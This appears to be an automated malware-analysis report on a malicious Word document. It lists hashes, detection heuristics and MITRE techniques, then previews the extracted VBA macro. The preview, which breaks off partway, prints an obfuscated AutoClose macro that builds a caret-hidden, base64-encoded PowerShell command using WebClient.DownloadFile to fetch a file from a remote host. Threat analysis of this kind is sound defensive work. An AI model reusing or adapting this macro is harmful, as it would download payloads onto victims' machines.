Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1df932207319ad85…

MALICIOUS

Office (OLE)

114.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 754dc2d09d30c6e9d51a08feb7396dcc SHA-1: f17f2e77515157a1f07338571ffc55db8a2d1573 SHA-256: 1df932207319ad8505a88a915c3bbf5eb11fd12dba6d921cd107ef497da25692
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoClose macro is present and the critical heuristic 'OLE_VBA_SHELL' indicates a Shell() call, which is commonly used to execute arbitrary commands or download additional payloads. The ClamAV detection also confirms its malicious nature. No specific URLs or executable payloads were directly extracted, hence the family is unknown.

Heuristics 6

  • ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 84472 bytes
SHA-256: c7c3b89d542cab30c347f5a075168165954baf8fab1ef32ad06dda9fd68f73cb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const KAkEPONIloMOQunifIGAgUgYhEmUTymahUiuguKIBuS = 0
Sub AutoClose()
On Error Resume Next
Dim tulaZIsoaUkNuvyvEzUFuPydOCuekKyFetylA(3)

tulaZIsoaUkNuvyvEzUFuPydOCuekKyFetylA(0) = Right(DacyaiGOdUWaTapIxupaNO, 2565)
tulaZIsoaUkNuvyvEzUFuPydOCuekKyFetylA(1) = Sqr(6)
tulaZIsoaUkNuvyvEzUFuPydOCuekKyFetylA(2) = Left(DacyaiGOdUWaTapIxupaNO, 2565)
Dim GEGIDElHIWudygamoBYFydyl(3)

GEGIDElHIWudygamoBYFydyl(0) = Right(JykabAsijApAWA, 1205)
GEGIDElHIWudygamoBYFydyl(1) = Sqr(2)
GEGIDElHIWudygamoBYFydyl(2) = Left(JykabAsijApAWA, 1205)
Dim rEWIZyQEBIwOQjvAVUlaJUbusYiRANisoNaXE(3)

Dim nUENOpukyBuvxIhQIzudapALeVOmO(3)

nUENOpukyBuvxIhQIzudapALeVOmO(0) = Right(KEHaGyBiziNuxazId, 9424)
nUENOpukyBuvxIhQIzudapALeVOmO(1) = Sqr(3)
nUENOpukyBuvxIhQIzudapALeVOmO(2) = Left(KEHaGyBiziNuxazId, 9424)
Dim pYvIBAtKaVEhyPaGiIkfOzideJoMizROM(3)

pYvIBAtKaVEhyPaGiIkfOzideJoMizROM(0) = Right(VegUGibAQOwe, 2452)
pYvIBAtKaVEhyPaGiIkfOzideJoMizROM(1) = Sqr(4)
pYvIBAtKaVEhyPaGiIkfOzideJoMizROM(2) = Left(VegUGibAQOwe, 2452)
rEWIZyQEBIwOQjvAVUlaJUbusYiRANisoNaXE(0) = Right(XycUQiqyzOceXyxydO, 5342)
Dim xEvidULOLrAWaFiZiKAkOaSiL(3)

xEvidULOLrAWaFiZiKAkOaSiL(0) = Right(MOxIziXObYteGOHug, 8047)
xEvidULOLrAWaFiZiKAkOaSiL(1) = Sqr(10)
xEvidULOLrAWaFiZiKAkOaSiL(2) = Left(MOxIziXObYteGOHug, 8047)
Dim TAsemivYLOBuGaJihqiQaVOiaKeSAR(3)

TAsemivYLOBuGaJihqiQaVOiaKeSAR(0) = Right(kuExIdiwIhuQIvufIsDax, 5483)
TAsemivYLOBuGaJihqiQaVOiaKeSAR(1) = Sqr(1)
TAsemivYLOBuGaJihqiQaVOiaKeSAR(2) = Left(kuExIdiwIhuQIvufIsDax, 5483)
rEWIZyQEBIwOQjvAVUlaJUbusYiRANisoNaXE(1) = Sqr(10)
rEWIZyQEBIwOQjvAVUlaJUbusYiRANisoNaXE(2) = Left(XycUQiqyzOceXyxydO, 5342)
Dim LuZeiUGAMartIFEqoVIcYTOmUgaFOm(3)

LuZeiUGAMartIFEqoVIcYTOmUgaFOm(0) = Right(XOPdOhoHIFoZaHYtu, 9511)
LuZeiUGAMartIFEqoVIcYTOmUgaFOm(1) = Sqr(9)
LuZeiUGAMartIFEqoVIcYTOmUgaFOm(2) = Left(XOPdOhoHIFoZaHYtu, 9511)
Dim vIlYHotuQUaYRYzobeFiJInELeaiiOHaWUkawIuMIPi(3)

Dim zRUNUxZPhymyTItYRVyiOjAtIJaXUQuQOQawa(3)

zRUNUxZPhymyTItYRVyiOjAtIJaXUQuQOQawa(0) = Right(pEgILeVevIsUxuPURiajutU, 5196)
zRUNUxZPhymyTItYRVyiOjAtIJaXUQuQOQawa(1) = Sqr(8)
zRUNUxZPhymyTItYRVyiOjAtIJaXUQuQOQawa(2) = Left(pEgILeVevIsUxuPURiajutU, 5196)
vIlYHotuQUaYRYzobeFiJInELeaiiOHaWUkawIuMIPi(0) = Right(guzadAWoKure, 6617)
vIlYHotuQUaYRYzobeFiJInELeaiiOHaWUkawIuMIPi(1) = Sqr(8)
Dim QYlALESIDYwYgyzerApEiGUxySuiUVOQubuWYviRihoa(3)

QYlALESIDYwYgyzerApEiGUxySuiUVOQubuWYviRihoa(0) = Right(DUnaVUKiQuiinaZIr, 9993)
QYlALESIDYwYgyzerApEiGUxySuiUVOQubuWYviRihoa(1) = Sqr(10)
QYlALESIDYwYgyzerApEiGUxySuiUVOQubuWYviRihoa(2) = Left(DUnaVUKiQuiinaZIr, 9993)
vIlYHotuQUaYRYzobeFiJInELeaiiOHaWUkawIuMIPi(2) = Left(guzadAWoKure, 6617)
KoZOKiAZagudyzOLidiJUmoCAGOdaiicYnUGaYn = "d.exe /" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + " p^O^w^e^R^s^H^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(Chr(70 + 9 + 1 + 5 + 4 + 6 + 4)) + "^A^A^6^A^C^8^A^L^w^B^r^A^G^8^A^d^A^B^v^A^G^I^A^Z^Q^B^s^A"
Dim sAGehidIGUFexEleqyFudAkawebamIazUwac(3)

sAGehidIGUFexEleqyFudAkawebamIazUwac(0) = Right(nuLYtEHeWAxoMEjiDYqU, 8803)
sAGehidIGUFexEleqyFudAkawebamIazUwac(1) = Sqr(10)
sAGehidIGUFexEleqyFudAkawebamIazUwac(2) = Left(nuLYtEHeWAxoMEjiDYqU, 8803)
Dim rdebuEJOcITUaYNAnYwApqUCuvyIqaia(3)

rdebuEJOcITUaYNAnYwApqUCuvyIqaia(0) = Right(fINIbipOSIBYliBYJuGOLYw, 8221)
rdebuEJOcITUaYNAnYwApqUCuvyIqaia(1) = Sqr(7)
rdebuEJOcITUaYNAnYwApqUCuvyIqaia(2) = Left(fINIbipOSIBYliBYJuGOLYw, 8221)
Dim zAjeWAXUzEqUdelIHipZiqafoJZaHeQUgiauLiJ(3)
Dim LyBUbOBaRAJAwUcUnZiaoaEcaIupU
... (truncated)